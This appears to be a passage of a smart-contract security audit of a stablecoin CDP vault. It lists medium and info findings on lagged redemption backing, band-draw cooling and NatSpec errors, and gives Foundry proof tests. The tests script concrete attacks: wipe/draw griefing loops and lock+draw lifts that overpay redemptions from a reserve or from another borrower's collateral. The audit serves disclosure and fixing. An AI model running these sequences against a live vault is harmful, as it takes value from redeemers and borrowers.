     The fix for the delta-panel medium adds cold secured term only if (position.secured == termBefore ...), and does it by calling _lag(position, true, termBefore, termBefore + X), whose increase path first credits the position's bankSecured (credit = Math.min(after_ - before, bank)) and makes only the remainder cold. Two gaps follow.

     1. A position whose collateral is one raw unit above twice its principal at the price (term = 2D/price, a hair below the collateral) draws into the band: the term moves by that hair, the equality fails, and the new debt's whole share of the term (term x amount / debt, about 29,000 of 200,001 IMD in the proof) stays warm while the new debt is cold. The ordinary _lag increase path records only the hair as cold.
     2. A band position that freed collateral earlier (allowed while it stays at or above mat) banked that warm term; its next draw's cooling is credited from the bank and nothing goes cold. In both cases the lagged figure of _backingPerUnit drops the new imdUSD from the warm supply but keeps the collateral now standing behind it, exactly the overstatement the panel found: lagged reads above the live figure, a newcomer's lock+draw in one transaction lifts the live figure, and cash in the next transaction is paid min(live, lagged) = the overstated lagged figure, from the reserve or from any candidate whose ratio is at least backing x (1 - fee) (see the finding on RedemptionWorsensRatio). The attacker can be the band borrower itself: a warm position of its own, free to set the collateral just above 2D/price (or to bank a warm term), draw into the band, a second account's lock+draw to lift the live figure, cash next block, unwind. Reachable with the constants as committed (mat 170 at NHI >= 0.85, LINE 1M, wage 0); needs a book below par (a price fall or underwater positions) and a reserve or an eligible candidate; gain bounded by the gap to par times the reserve plus the eligible candidates' debt. The NatSpec at 773-776 ('new debt, the imdUSD minted against it and the collateral behind it are excluded together, a band position's draw included') is the property the code lacks. Smallest fix: compute the cold share from the cold part of the new debt and the term increase already cooled, and write it to cold directly, never through the bank: coldNew = the cold added by the debt _lag (return it from the increase path); share = mulDiv(termAfter, coldNew, position.debt); extra = min(share - (termAfter - termBefore), termAfter - position.coldSecured) when positive; position.coldSecured += extra; _coldSecured += extra. Checked on a scratch copy: the attached proof passes (paid 8,518 and 8,491 raw IMD against at most 8,705 and 8,710). The symmetric un-cooling on repayment in the next finding is needed with it, or churn across the 200% boundary accumulates cold (a scratch copy with only this half made test/RedemptionFeePinning.t.sol::test_mintThenRepayRoundTripsCannotWashTheRecordYoung read backing 0). Fits the 2,357-byte initcode margin only if written tightly.

     whole finding

     forge test --match-path test/scratch/CrossingDraw.t.sol.

     ParameterizedVault over MockIMD at $1 (Chainlink 2000e8 etched), NHI 0.85 (mat 170), Treasury holds 10,000 IMD.

     Test 1: BORROWER lock(200_001e18), draw(100_000e18); +2 days; draw(17_000e18) (term 200,000 -> 200,001, cooling skipped); next block IMD to $0.50: backingPerUnit() == 897440170940170940 (honest, live).

     NEWCOMER lock(400_000e18), draw(100_000e18) in one tx; next block backingPerUnit() == 1e18 and NEWCOMER cash(5_000e18, 0, address(0)) is paid 9,700e18 raw IMD.

     EXPECTED: at most 0.8974e18 and 8,705e18 raw IMD.

     ACTUAL: 1.0e18 and 9,700e18 (995 IMD over).

     Test 2: BORROWER lock(200_000e18), draw(100_000e18); +2 days; free(20_000e18) (banks 20,000 of warm term); draw(5_800e18) (cooling share 9,868 credited from the bank, nothing cold); IMD to $0.50: honest 0.8979e18; after the newcomer 0.9247e18; cash(5_000e18) paid 8,969e18 against at most 8,710e18 raw IMD.

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.26;
     
     // Final audit 2026-10-08: the delta-panel fix in `draw` (the band-draw cooling) only fires when the position's
     // secured term is EXACTLY unchanged by the draw and only cools through `_lag`'s crediting path.
     //
     // Gap 1 (test_drawCrossingIntoBandSkipsCooling): a position one raw unit ABOVE 200% (term = 2D/price, a hair
     // below its collateral) draws into the band. Its term moves by that hair, so `position.secured != termBefore`
     // and the new debt's share of the term (about 29,000 of 200,001 IMD here) stays warm while the new debt goes
     // cold. The lagged figure drops the imdUSD but keeps the collateral behind it, exactly the delta-panel medium.
     //
     // Gap 2 (test_secondBankAbsorbsBandCooling): a band position that FREED collateral earlier banked that warm term
     // (`bankSecured`). The fix calls `_lag(position, true, term, term + share)`, which credits the increase from the
     // bank first, so the share never goes cold: `credit = min(share, bank)`.
     //
     // Both: a newcomer's one-transaction lock + draw lifts the live figure, and a reserve-funded cash in the next
     // transaction is paid the overstated lagged figure. Both fail on 9bd5f59 and pass once the cooling is computed
     // as the new debt's pro-rata share of the term net of the increase already cooled, written to cold directly.
     
     import {Test} from "forge-std/Test.sol";
     import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
     import {ParameterizedVault} from "src/ParameterizedVault.sol";
     import {ImdUSD} from "src/ImdUSD.sol";
     import {MockIMD} from "src/MockIMD.sol";
     import {TreasuryFactory} from "src/TreasuryFactory.sol";
     import {ISwarmFeed} from "src/interfaces/ISwarmFeed.sol";
     import {APPROVED_OPERATOR, CHAINLINK_ETH_USD, TREASURY_FACTORY} from "src/DeploymentConfig.sol";
     
     contract XdFeed is ISwarmFeed {
         uint256 public constant maxAge = 1 days;
         uint256 private value;
         uint64 private updatedAt;
     
         constructor(uint256 v) {
             set(v);
         }
     
         function set(uint256 v) public {
             value = v;
             updatedAt = uint64(block.timestamp);
         }
     
         function latestValue() external view returns (uint256, uint64) {
             return (value, updatedAt);
         }
     
         function isStale() external pure returns (bool) {
             return false;
         }
     }
     
     contract XdMirror is ISwarmFeed {
         ISwarmFeed private immutable primary;
     
         constructor(ISwarmFeed p) {
             primary = p;
         }
     
         function latestValue() external view returns (uint256, uint64) {
             return primary.latestValue();
         }
     
         function isStale() external view returns (bool) {
             return primary.isStale();
         }
     
         function maxAge() external view returns (uint256) {
             return primary.maxAge();
         }
     }
     
     contract XdAggregator {
         function decimals() external pure returns (uint8) {
             return 8;
         }
     
         function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
             return (1, 2000e8, block.timestamp, block.timestamp, 1);
         }
     }
     
     contract CrossingDrawTest is Test {
         address private constant BORROWER = address(0xB0B);
         address private constant NEWCOMER = address(0xC0DE);
     
         uint256 private constant DOLLAR = uint256(1 ether) * 1e18 / 2000 ether; // IMD/ETH such that IMD = $1
     
         MockIMD private imd;
         ParameterizedVault private vault;
         ImdUSD private stable;
         XdFeed private primary;
     
         function setUp() public {
             if (TREASURY_FACTORY.code.length == 0) vm.etch(TREASURY_FACTORY, address(new TreasuryFactory()).code);
             vm.etch(CHAINLINK_ETH_USD, address(new XdAggregator()).code);
             vm.warp(1_000_000);
             imd = new MockIMD();
             primary = new XdFeed(DOLLAR);
             XdFeed health = new XdFeed(0.85 ether); // mat 170
             vault = new ParameterizedVault(
                 address(imd), address(0), address(0), address(primary), address(health), address(new XdMirror(primary))
             );
             stable = vault.stablecoin();
             vm.startPrank(APPROVED_OPERATOR);
             imd.mint(BORROWER, 200_001 ether);
             imd.mint(NEWCOMER, 400_000 ether);
             imd.mint(address(vault.treasury()), 10_000 ether); // the reserve
             vm.stopPrank();
         }
     
         function _next() private {
             vm.roll(block.number + 1);
             vm.warp(block.timestamp + 12);
         }
     
         /// @dev The delta panel's proof with ONE IMD more collateral: 200,001 against a 100,000 draw, so the term
         /// (200,000 = 2 x principal) is one IMD short of the collateral and the next draw moves it by that one IMD.
         function test_drawCrossingIntoBandSkipsCooling() public {
             vm.startPrank(BORROWER);
             imd.approve(address(vault), type(uint256).max);
             vault.lock(200_001 ether);
             vault.draw(100_000 ether);
             vm.stopPrank();
             vm.warp(block.timestamp + 2 days);
             _next();
             // Draw into the band: the term goes from 200,000 to 200,001, so the band-draw cooling is skipped.
             vm.prank(BORROWER);
             vault.draw(17_000 ether);
             _next();
             _crashAndRedeem();
         }
     
         /// @dev A band position that freed collateral holds a warm secured bank; the fix's `_lag` call is credited
         /// from it instead of cooling anything.
         function test_secondBankAbsorbsBandCooling() public {
             vm.startPrank(BORROWER);
             imd.approve(address(vault), type(uint256).max);
             vault.lock(200_000 ether);
             vault.draw(100_000 ether); // 200%: term = 200,000 = the whole collateral
             vm.stopPrank();
             vm.warp(block.timestamp + 2 days);
             _next();
             // Free 20,000 (still 180%): the term falls to 180,000 and the warm 20,000 is banked.
             vm.prank(BORROWER);
             vault.free(20_000 ether);
             _next();
             // Draw 5,800 (to ~170%): the term stays 180,000, the cooling share is 180,000 x 5,800 / 105,800 = 9,868,
             // and `_lag` credits all of it from the 20,000 bank: nothing goes cold.
             vm.prank(BORROWER);
             vault.draw(5_800 ether);
             _next();
             _crashAndRedeem();
         }
     
         function _crashAndRedeem() private {
             // IMD halves: the book is below par.
             primary.set(DOLLAR / 2);
             _next();
             uint256 honest = vault.backingPerUnit();
             emit log_named_uint("honest, the live figure before the newcomer", honest);
             assertLt(honest, 1e18, "the scenario needs a book below par");
             uint256 feeBps = vault.redemptionFeeBps(5_000 ether);
             (uint256 price,) = vault.collateralPriceFeed().latestValue();
             uint256 honestPay =
                 Math.mulDiv(Math.mulDiv(5_000 ether, honest, 1e18) * (10_000 - feeBps) / 10_000, 1e18, price);
     
             // A newcomer brings capital in one transaction ...
             vm.startPrank(NEWCOMER);
             imd.approve(address(vault), type(uint256).max);
             vault.lock(400_000 ether);
             vault.draw(100_000 ether);
             vm.stopPrank();
             _next();
             uint256 lifted = vault.backingPerUnit();
             emit log_named_uint("after the newcomer", lifted);
             // ... and in the next is paid from the reserve at that figure.
             vm.prank(NEWCOMER);
             uint256 paid = vault.cash(5_000 ether, 0, address(0));
             emit log_named_uint("paid for 5,000 imdUSD (raw IMD)", paid);
             emit log_named_uint("honest payout at most (raw IMD)", honestPay);
     
             assertLe(lifted, honest, "fresh capital lifted a redemption's backing");
             assertLe(paid, honestPay, "a redemption was paid above the honest backing of the book it found");
         }
     }

     whole proof

   • mediumCDPVault.draw/_reduceDebt: the band-draw cooling has no inverse and cools redraws of the position's own warm debt, so a band borrower's wipe/draw pairs make its whole collateral term cold while its desrc/CDPVault.sol:508

     The cooling added in draw uses the whole amount, including the part _lag(position, false, ...) just credited WARM from the position's debt bank (a repayment it is redrawing), and _reduceDebt has no mirror: a repayment of a band position leaves the term unchanged (_lag secured returns early at after_ == before), so the cold share added by the draw is never removed.

     Each wipe(a)/draw(a) pair of a band position therefore adds term x a / debt to its cold secured term (bounded only by what is not cold yet) while coldDebt returns to zero, and the position's own _lag figures do the rest: the lagged figure of _backingPerUnit is warm collateral over warm supply, so the position's collateral leaves the numerator while its debt stays in the denominator.

     With backingPerUnit = min(live, lagged) this cuts the payout of every redemption, reserve- or candidate-funded, by the position's share of the book's secured value, above par as well as below (a book honestly at par pays below par), for hours (6-hour half-life) and re-armed for gas: wipe and draw are permissionless, draw only needs fresh agreeing feeds and health. It is also an honest side effect of any band borrower's ordinary draw/wipe activity.

     Not among the accepted underpayments (price-fall re-pricing, stale orphan, new-loan dilution): those are natural and bounded; this is attacker-chosen and bounded only by the attacker's own collateral share. In the proof a 430,000 IMD / 100,000 imdUSD position (a quarter of the book's collateral) takes backingPerUnit from 0.8617 to 0.5751 with nine pairs in one block; at LINE 1M a borrower holding 40% of the secured collateral cuts payouts by about 40%.

     Reachable with the constants as committed; victims are redeemers (the peg's defence).

     Smallest fix: cool only the cold part of the new debt (coldNew from the debt _lag, zero when credited from the bank), and in _reduceDebt un-cool symmetrically: after _resecureBounded, if the term's decrease is less than termBefore x coldOut / principalBefore (coldOut being what the debt _lag retired cold), reduce position.coldSecured and _coldSecured by the difference, bounded by position.coldSecured.

     Checked on a scratch copy with the draw half alone: the proof passes (0.8617 -> 0.8610).

     whole finding

     forge test --match-path test/scratch/BandRedrawCooling.t.sol.

     ParameterizedVault over MockIMD at $1 (Chainlink 2000e8 etched), NHI 0.85, Treasury 12,500 IMD.

     VICTIM lock(850_000e18), draw(500_000e18); IMD to $0.40 (victim at 68%); GRIEFER lock(430_000e18), draw(100_000e18) (172%, term = whole collateral); +2 days (all warm): backingPerUnit() == 861666666666666666, laggedNow().secured == 1,280,000e18.

     GRIEFER then runs wipe(12_000e18), draw(12_000e18) nine times in one block.

     EXPECTED: an own-warmth redraw moves nothing; backingPerUnit stays 0.8617e18 (live = lagged).

     ACTUAL: backingPerUnit() == 575110022096624095, laggedNow().secured == 850,165e18 (the griefer's 430,000 term is cold), laggedNow().debt == 600,000e18 (all warm).

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.26;
     
     // Final audit 2026-10-08: `draw`'s band-draw cooling (delta panel #1) cools the NEW DEBT's share of a band
     // position's term whatever part of that debt came back WARM from the position's own debt bank. A band borrower
     // that repays and redraws the same principal (its debt is credited warm, so the warm supply is unchanged) has
     // `term x amount / debt` of its collateral term made cold on every redraw, bounded only by what is not cold
     // yet, so a handful of wipe/draw pairs in one block make its whole collateral cold while its debt stays warm.
     // The lagged backing figure then excludes that collateral against the full warm supply, and every redemption,
     // reserve- or candidate-funded, is paid that much less for hours (6-hour half-life), re-armed for gas.
     //
     // Here: a 430,000 IMD / 100,000 imdUSD band borrower (172% at $0.40) is a quarter of the collateral behind a
     // 600,000 book backed at 0.8625. Nine wipe(12,000)/draw(12,000) pairs take backingPerUnit() to 0.575.
     // Expected: an own-warmth redraw moves nothing, so the figure stays at the live 0.8625 (within rounding).
     // Fails on 9bd5f59; passes once the cooling applies only to the cold part of the new debt.
     
     import {Test} from "forge-std/Test.sol";
     import {ParameterizedVault} from "src/ParameterizedVault.sol";
     import {ImdUSD} from "src/ImdUSD.sol";
     import {MockIMD} from "src/MockIMD.sol";
     import {TreasuryFactory} from "src/TreasuryFactory.sol";
     import {ISwarmFeed} from "src/interfaces/ISwarmFeed.sol";
     import {APPROVED_OPERATOR, CHAINLINK_ETH_USD, TREASURY_FACTORY} from "src/DeploymentConfig.sol";
     
     contract BrFeed is ISwarmFeed {
         uint256 public constant maxAge = 1 days;
         uint256 private value;
         uint64 private updatedAt;
     
         constructor(uint256 v) {
             set(v);
         }
     
         function set(uint256 v) public {
             value = v;
             updatedAt = uint64(block.timestamp);
         }
     
         function latestValue() external view returns (uint256, uint64) {
             return (value, updatedAt);
         }
     
         function isStale() external pure returns (bool) {
             return false;
         }
     }
     
     contract BrMirror is ISwarmFeed {
         ISwarmFeed private immutable primary;
     
         constructor(ISwarmFeed p) {
             primary = p;
         }
     
         function latestValue() external view returns (uint256, uint64) {
             return primary.latestValue();
         }
     
         function isStale() external view returns (bool) {
             return primary.isStale();
         }
     
         function maxAge() external view returns (uint256) {
             return primary.maxAge();
         }
     }
     
     contract BrAggregator {
         function decimals() external pure returns (uint8) {
             return 8;
         }
     
         function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
             return (1, 2000e8, block.timestamp, block.timestamp, 1);
         }
     }
     
     contract BandRedrawCoolingTest is Test {
         address private constant VICTIM = address(0xD00D);
         address private constant GRIEFER = address(0xBAD);
     
         uint256 private constant DOLLAR = uint256(1 ether) * 1e18 / 2000 ether; // IMD/ETH such that IMD = $1
     
         MockIMD private imd;
         ParameterizedVault private vault;
         ImdUSD private stable;
         BrFeed private primary;
     
         function setUp() public {
             if (TREASURY_FACTORY.code.length == 0) vm.etch(TREASURY_FACTORY, address(new TreasuryFactory()).code);
             vm.etch(CHAINLINK_ETH_USD, address(new BrAggregator()).code);
             vm.warp(1_000_000);
             imd = new MockIMD();
             primary = new BrFeed(DOLLAR);
             BrFeed health = new BrFeed(0.85 ether); // mat 170
             vault = new ParameterizedVault(
                 address(imd), address(0), address(0), address(primary), address(health), address(new BrMirror(primary))
             );
             stable = vault.stablecoin();
             vm.startPrank(APPROVED_OPERATOR);
             imd.mint(VICTIM, 850_000 ether);
             imd.mint(GRIEFER, 430_000 ether);
             imd.mint(address(vault.treasury()), 12_500 ether); // the reserve: $5,000 at $0.40
             vm.stopPrank();
         }
     
         function _next() private {
             vm.roll(block.number + 1);
             vm.warp(block.timestamp + 12);
         }
     
         function test_bandRedrawOfOwnWarmDebtCoolsCollateralForGas() public {
             // An honest borrower at 170% at $1.
             vm.startPrank(VICTIM);
             imd.approve(address(vault), type(uint256).max);
             vault.lock(850_000 ether);
             vault.draw(500_000 ether);
             vm.stopPrank();
             _next();
             // IMD falls to $0.40: the borrower is at 68%, the book is below par.
             primary.set(DOLLAR * 2 / 5);
             _next();
             // The griefer opens a band position at the new price: 430,000 IMD ($172,000) against 100,000 (172%).
             vm.startPrank(GRIEFER);
             imd.approve(address(vault), type(uint256).max);
             vault.lock(430_000 ether);
             vault.draw(100_000 ether);
             vm.stopPrank();
             // Everything warms: two quiet days.
             vm.warp(block.timestamp + 2 days);
             _next();
     
             uint256 before = vault.backingPerUnit();
             (, uint256 laggedSecuredBefore) = vault.laggedNow();
             emit log_named_uint("backingPerUnit before the churn (live = lagged)", before);
             assertLt(before, 1e18, "the scenario needs a book below par");
     
             // Nine wipe/draw pairs of the same 12,000 in one block. The debt leaves warm and comes back warm from the
             // position's own bank; the term (its whole collateral, 430,000) never moves.
             vm.startPrank(GRIEFER);
             for (uint256 i; i < 9; ++i) {
                 vault.wipe(12_000 ether);
                 vault.draw(12_000 ether);
             }
             vm.stopPrank();
             _next();
     
             uint256 after_ = vault.backingPerUnit();
             (uint256 laggedDebt, uint256 laggedSecured) = vault.laggedNow();
             emit log_named_uint("backingPerUnit after nine wipe/draw pairs", after_);
             emit log_named_uint("lagged secured before", laggedSecuredBefore);
             emit log_named_uint("lagged secured after", laggedSecured);
             emit log_named_uint("lagged debt after (all warm)", laggedDebt);
     
             // Expected: a redraw of the position's own warm debt leaves the lagged figure where the live one is.
             assertGe(after_ + 1e15, before, "an own-warmth redraw cooled the position's collateral and cut every redemption");
         }
     }

     whole proof

   • mediumCDPVault._redeemPosition/_backingPerUnit: a candidate-funded redemption pays the lifted lagged figure too; RedemptionWorsensRatio only caps it at the candidate's own fraction, so the accepted warm-frasrc/CDPVault.sol:877

     The accepted delta-panel low (CDPVault 325-330, docs/AUDIT-DELTA-PANEL-2026-10-08.md Resolution #3) bounds the gain of lifting the lagged figure with new capital to the Treasury's sIMD because 'a position-funded payout stays pro rata'.

     The guard at this line forbids only a payout above the candidate's collateral x amount / debt, i.e. a payout that would WORSEN the candidate's ratio; it pays the full payoutScale = backingPerUnit x (1 - fee) to every candidate whose ratio is at least backing x (1 - fee).

     So whenever the lagged figure is lifted above the honest backing (the accepted warm-fraction mechanism, the previous finding, or the band-draw gaps), a redemption against any eligible candidate (ratio below mat + gap = 220 and at least about backing x 95%) takes that candidate's collateral at the lifted figure, and no Treasury sIMD is involved: the operational mitigation in docs/MAINNET-RUNBOOK.md section 7 ('keep the Treasury's sIMD small while the book is thin') does not bound it.

     The victim is the candidate, who loses (lifted - honest) x (1 - fee) / price of collateral per imdUSD cancelled; the bound is the gap to par times the debt of every eligible candidate, which at launch is the whole book under 220%. The attacker holds the imdUSD it just drew, so it needs no market purchase to redeem.

     In the proof a newcomer's 880,000 loan (LINE) against 5,000,000 IMD lifts a book honestly backed at 0.70 to 0.861 in ten minutes with an EMPTY Treasury, and cash(20,000, 0, CANDIDATE) against a 140% candidate pays 46,731 raw IMD where the honest figure pays 38,000: the candidate loses 8,731 IMD ($3,056 at $0.35) above the honest payout, about 15% of its collateral.

     Reachable with the constants as committed; the cost is the collateral for the lifting loan (about 2k times the warm book for ten minutes) and the 0.5% fee.

     Smallest fix is a decision for the requester, as the panel said; options that keep the design: cap each cold unit's lagged contribution at par in _backingPerUnit (count a fresh position's warm fraction at min(its secured value, its warm debt) rather than its full 2x term), or state the real bound in the NatSpec and the runbook (every eligible candidate pays it, not only the reserve) and drop the sIMD-only mitigation.

     whole finding

     forge test --match-path test/scratch/CandidateLift.t.sol.

     ParameterizedVault over MockIMD at $1 (Chainlink 2000e8 etched), NHI 0.85, Treasury holds NOTHING.

     UNDER lock(200_000e18), draw(100_000e18); CANDIDATE lock(80_000e18), draw(20_000e18); +2 days; IMD to $0.35 (UNDER 70%, CANDIDATE 140%): backingPerUnit() == 0.70e18 (honest).

     NEWCOMER lock(5_000_000e18), draw(880_000e18); +10 minutes: backingPerUnit() == 860841157596099579.

     NEWCOMER cash(20_000e18, 0, CANDIDATE).

     EXPECTED per the accepted bound: a position-funded payout is pro rata to the honest backing, at most 38,000e18 raw IMD (20,000 x 0.70 x 0.95 / 0.35).

     ACTUAL: 46,731e18 raw IMD paid from the candidate's collateral, 8,731e18 above the honest payout, with no reserve touched.

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.26;
     
     // Final audit 2026-10-08: the accepted warm-fraction item (delta panel #3, low) states its bound as "gains at most
     // the gap to par on the Treasury's sIMD, since a position-funded payout stays pro rata". RedemptionWorsensRatio
     // only forbids a payout above the candidate's own collateral/debt fraction; it pays the lifted figure to any
     // candidate whose ratio is at least backing x (1 - fee). So with NO reserve at all, a newcomer's loan lifts the
     // lagged figure and a redemption against a 140% candidate takes the candidate's collateral at the lifted figure.
     
     import {Test} from "forge-std/Test.sol";
     import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
     import {ParameterizedVault} from "src/ParameterizedVault.sol";
     import {ImdUSD} from "src/ImdUSD.sol";
     import {MockIMD} from "src/MockIMD.sol";
     import {TreasuryFactory} from "src/TreasuryFactory.sol";
     import {ISwarmFeed} from "src/interfaces/ISwarmFeed.sol";
     import {APPROVED_OPERATOR, CHAINLINK_ETH_USD, TREASURY_FACTORY} from "src/DeploymentConfig.sol";
     
     contract ClFeed is ISwarmFeed {
         uint256 public constant maxAge = 1 days;
         uint256 private value;
         uint64 private updatedAt;
     
         constructor(uint256 v) {
             set(v);
         }
     
         function set(uint256 v) public {
             value = v;
             updatedAt = uint64(block.timestamp);
         }
     
         function latestValue() external view returns (uint256, uint64) {
             return (value, updatedAt);
         }
     
         function isStale() external pure returns (bool) {
             return false;
         }
     }
     
     contract ClMirror is ISwarmFeed {
         ISwarmFeed private immutable primary;
     
         constructor(ISwarmFeed p) {
             primary = p;
         }
     
         function latestValue() external view returns (uint256, uint64) {
             return primary.latestValue();
         }
     
         function isStale() external view returns (bool) {
             return primary.isStale();
         }
     
         function maxAge() external view returns (uint256) {
             return primary.maxAge();
         }
     }
     
     contract ClAggregator {
         function decimals() external pure returns (uint8) {
             return 8;
         }
     
         function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
             return (1, 2000e8, block.timestamp, block.timestamp, 1);
         }
     }
     
     contract CandidateLiftTest is Test {
         address private constant UNDER = address(0x1111);
         address private constant CANDIDATE = address(0x2222);
         address private constant NEWCOMER = address(0xC0DE);
     
         uint256 private constant DOLLAR = uint256(1 ether) * 1e18 / 2000 ether;
     
         MockIMD private imd;
         ParameterizedVault private vault;
         ImdUSD private stable;
         ClFeed private primary;
     
         function setUp() public {
             if (TREASURY_FACTORY.code.length == 0) vm.etch(TREASURY_FACTORY, address(new TreasuryFactory()).code);
             vm.etch(CHAINLINK_ETH_USD, address(new ClAggregator()).code);
             vm.warp(1_000_000);
             imd = new MockIMD();
             primary = new ClFeed(DOLLAR);
             ClFeed health = new ClFeed(0.85 ether);
             vault = new ParameterizedVault(
                 address(imd), address(0), address(0), address(primary), address(health), address(new ClMirror(primary))
             );
             stable = vault.stablecoin();
             vm.startPrank(APPROVED_OPERATOR);
             imd.mint(UNDER, 200_000 ether);
             imd.mint(CANDIDATE, 80_000 ether);
             imd.mint(NEWCOMER, 5_000_000 ether);
             vm.stopPrank();
             // No reserve: the Treasury holds nothing.
         }
     
         function _next() private {
             vm.roll(block.number + 1);
             vm.warp(block.timestamp + 12);
         }
     
         function _open(address who, uint256 c, uint256 d) private {
             vm.startPrank(who);
             imd.approve(address(vault), type(uint256).max);
             vault.lock(c);
             vault.draw(d);
             vm.stopPrank();
         }
     
         function test_candidateRoutePaysTheLiftedFigureWithNoReserve() public {
             _open(UNDER, 200_000 ether, 100_000 ether); // 200%
             _open(CANDIDATE, 80_000 ether, 20_000 ether); // 400%
             vm.warp(block.timestamp + 2 days);
             _next();
             primary.set(DOLLAR * 35 / 100); // IMD to $0.35: UNDER at 70%, CANDIDATE at 140%
             _next();
             uint256 honest = vault.backingPerUnit();
             emit log_named_uint("honest backing (no reserve)", honest);
             assertLt(honest, 1e18);
             (uint256 price,) = vault.collateralPriceFeed().latestValue();
             uint256 feeBps = vault.redemptionFeeBps(20_000 ether);
             uint256 honestPay =
                 Math.mulDiv(Math.mulDiv(20_000 ether, honest, 1e18) * (10_000 - feeBps) / 10_000, 1e18, price);
     
             // The newcomer: an 880,000 loan (LINE) against 5,000,000 IMD, then ten minutes.
             _open(NEWCOMER, 5_000_000 ether, 880_000 ether);
             vm.warp(block.timestamp + 10 minutes);
             _next();
             uint256 lifted = vault.backingPerUnit();
             emit log_named_uint("lifted backing after ten minutes", lifted);
     
             // The newcomer redeems against the 140% candidate: no reserve is touched.
             vm.prank(NEWCOMER);
             uint256 paid = vault.cash(20_000 ether, 0, CANDIDATE);
             emit log_named_uint("paid against the candidate (raw IMD)", paid);
             emit log_named_uint("honest payout (raw IMD)", honestPay);
             emit log_named_uint("candidate's collateral lost above honest (raw IMD)", paid - honestPay);
             assertLe(paid, honestPay, "candidate-funded redemption paid above the honest backing");
         }
     }

     whole proof

   • infoCDPVault._backingPerUnit NatSpec: 'new debt, the imdUSD minted against it and the collateral behind it are excluded together, a band position's draw included' does not hold for a draw that crosses intsrc/CDPVault.sol:775

     See the first medium: the cooling in draw is skipped when the term moves by any amount and is credited from bankSecured when the position has one, so the collateral behind the new debt stays in the lagged figure while the imdUSD leaves it. Reword once the code is fixed, or state the two gaps.

     test/scratch/CrossingDraw.t.sol: after the band-crossing draw and the price fall the lagged figure reads 1.023 against a live 0.897, i.e. the new debt is excluded and its collateral is not.

   • infoCDPVault.draw comment: 'The new debt's share of the term goes cold with it' is false when the position has a secured bank (credited instead of cooled) and over-true when the debt itself came back warmsrc/CDPVault.sol:506

     The call below the comment goes through _lag's increase path, which credits the bank first; and it uses amount rather than the cold part of the new debt, with nothing in _reduceDebt undoing it. See the first two mediums.

     test/scratch/CrossingDraw.t.sol::test_secondBankAbsorbsBandCooling (nothing goes cold after free(20,000)); test/scratch/BandRedrawCooling.t.sol (cold accumulates across wipe/draw pairs of warm debt).

   • infoCDPVault BACKING_HALF_LIFE NatSpec: 'gains at most the gap to par on the Treasury's reserve, since a position-funded payout stays pro rata' states a bound the code does not enforce; the candidate routsrc/CDPVault.sol:329

     RedemptionWorsensRatio bounds the payout by the candidate's own collateral/debt fraction, not by the honest backing. The same sentence is in docs/AUDIT-DELTA-PANEL-2026-10-08.md Resolution #3 and docs/MAINNET-RUNBOOK.md section 7. See the third medium.

     test/scratch/CandidateLift.t.sol: with an empty Treasury a candidate-funded redemption pays 46,731 against an honest 38,000 raw IMD.

   • infoCDPVault.securedCollateral NatSpec: positions 'inside their bound (at most 200% at that price, which includes every redeemable one)' — redeemable positions run to mat + gap, 220% at launch (up to 300%src/CDPVault.sol:283

     redemptionCeilingCR() = mat() + gap() with gap 50 (MIN_GAP 25, MAX_GAP 100) and mat 170-200: a candidate at 210% is eligible (_redeemPosition) but its term is 2 x principal / price, not its collateral, so the surplus-approximation caveat in the same paragraph applies to redeemable positions too. Reword to 'which includes every position at or below 200%'.

     Read CDPVault 229-231 (mat() + gap()), 871 (eligibility < redemptionCeilingCR()), 940-946 (_secured: min(collateral, 2 x principal / price)) against lines 282-284.

   • infoCDPVault.bite NatSpec: 'its effective penalty is then 18% of the debt repaid' holds only when someone else bites; a borrower that marks AND bites its own position keeps both the marker's and the liquisrc/CDPVault.sol:1204

     With marker == msg.sender the liquidator receives collateralSeized - protocolCut (line 1267): seized 1.2 R / price, protocol cut 0.1 x 0.2 R / price, so the borrower-liquidator takes 1.18 R / price of its own collateral for R imdUSD, a 2% penalty (CUT_BPS 1000 of a 20% bonus), not 18%.

     Self-liquidation at 2% is a documented-looking but unstated property; it does not take more than any third-party bite would (the protocol's bad debt on an underwater position is the same whoever bites), so it is a comment correction, not a code defect.

     Read CDPVault 1224 (collateralSeized), 1241 (protocolCut), 1266-1267 (if (marker == msg.sender) gem.safeTransfer(msg.sender, collateralSeized - protocolCut)): R = 1,000e18, price 1e18 -> seized 1,200e18, protocolCut 20e18, received 1,180e18, loss 20e18 = 2%.

   • infoCDPVault.line NatSpec: 'the value a deployment chooses is permanent for that vault — raising a ceiling means a new vault and a migration' is false for the deployed vault, whose `line` is governed throsrc/CDPVault.sol:165

     ParameterizedVault overrides line() with parameters.line(), and Parameters.propose/applyPending change it (ZeroCeiling is the only bound). The sentence describes the base vault but reads as a property of 'a deployment'; a reader of the deployed system is misled about who can raise the ceiling (the APPROVED_OPERATOR, after 48 hours). Reword to say ParameterizedVault governs it.

     Read src/ParameterizedVault.sol 96-98 and src/Parameters.sol 226-228, 490, 543-545 against CDPVault 162-168.

   • infoCDPVault._lag NatSpec: 'a bank only ever returns warmth to the position that lost it' — the band-draw cooling call spends the position's secured bank on an increase that never happened, so the bank issrc/CDPVault.sol:981

     draw calls _lag(position, true, termBefore, termBefore + X) while position.secured stays at termBefore; the increase path credits bankSecured by min(X, bank). The sentence is true of every other _lag call. It becomes true again once the cooling is written to cold directly (first medium).

     test/scratch/CrossingDraw.t.sol::test_secondBankAbsorbsBandCooling: after free(20,000) and draw(5,800) the position's secured bank is reduced by 9,868 and nothing is cold; a later lock of the freed 20,000 is credited only 10,132 warm.

   • infoAnswers where nothing is wrong (Q1-Q8), accepted-case bounds verified, and coverage of this review at 9bd5f59src/CDPVault.sol:799

     Q1 BACKING AND LAG.

